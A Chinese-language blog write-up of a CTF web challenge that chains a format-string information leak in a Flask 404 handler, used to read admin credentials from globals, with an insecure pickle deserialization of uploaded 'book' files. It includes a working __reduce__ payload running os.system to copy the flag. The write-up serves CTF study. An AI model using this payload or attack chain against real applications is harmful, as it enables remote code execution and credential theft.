SSTI(maybe)+pickle反序列化----长城杯决赛web

根据源码分析,可以看到有这样一个函数

    if book_name: 
        try: 
            with open('./books/' + book_name, 'rb') as f:
                 book = pickle.load(f) 
                 return book 
        except: return None 
        else: books = [] 
        dirs = os.listdir("./books/") 
        for book_name in dirs: 
            try: 
                with open('./books/' + book_name, 'rb') as f: 
                    book = pickle.load(f) 
            except: 
                continue 
            books.append(book) 
            return books 

这里会/books/目录下指定的‘书’进行pickle反序列化,如果这本‘书’的内容时我们可控的,就可以打pickle反序列化漏洞
继续看这个函数的调用

@app.route('/bookDetail/<string:book_name>') 
def book_detail(book_name): 
    book = get_books(book_name)
    return render_template('tmpl/bookDetail.html', book=book) 

@app.route('/bookList') 
def book_list(): 
    books = get_books() 
    return render_template('tmpl/bookList.html', books=books) 

可以看到在这两个路由下都调用了这个函数,但是/bookList路由下调用时使用的是默认参数,所以接下来利用/bookDetail路由
我们先生成一个序列化的payload

import pickle
import os

class Email:
    def __reduce__(self):
        return (eval, ("__import__('os').system('cat /app/flag>./static/flag.txt')",))

# 序列化对象
ans = pickle.dumps(Email())
print(ans)

随后只需要讲我们的payload通过上传书籍的功能上传,在再/bookDetail指定我上传的书籍即可执行命令
但是在此之前需要先登录,需要满足

 if username == ADMIN_USER and password == ADMIN_PASSWORD: 
            session['logged_in'] = 1 
            session['name'] = 'admin' 
            msg = 'Please Login First, {} ' 
            return render_template('index.html', msg=msg.format(session.get('name')))

这里的ADMIN_USER和ADMIN_PASSWORD都是在环境变量里的
关注到有一个错误处理路由

class ErrorHandler(): 
    def __init__(self): 
        self.notfound = "Oops! That page doesn't exist." 
        self.badreqyest = "Your Rquest We Could Not Understand" 
@app.errorhandler(404) 
def page_not_found(error):
    template = '''{error.notfound} !!!''' + request.url + '''''' 
    error = ErrorHandler() 
    return template.format(error = error), 404 

本地起个环境调试一下发现,会将我们的的请求url回显到页面上,

但是由于这里只是字符串拼接,而不是用模板引擎渲染的,且Python 内置的format()方法只能访问对象的公开属性(如error.notfound),无法执行任意代码或访问全局变量。所以打不了ssti
如果改为下面这样,使用模板引擎渲染,才能打ssti

@app.errorhandler(404) 
def page_not_found(error):
    error = ErrorHandler()
    return render_template_string(
        "{{ error.notfound }} !!! " + request.url, 
        error=error
    )

但是,观察源码发现,渲染的时候调用了error这个对象的notfound属性,测试一下发现我们同样可以在url调用

那么既然有error这个类对象,我们也可以利用它去访问全局变量
{error.init.globals}

成功拿到全局变量
总结一下
通过ssti读全局变量,拿到admin的账号和密码,登录上去之后,使用上传书籍的功能把我们的pickle反序列化的payload传上去,最后利用/bookDetail/功能反序列化我们的payload,执行命令,拿到flag

posted @ 2025-05-14 16:25  onehang  阅读(47)  评论(0)    收藏  举报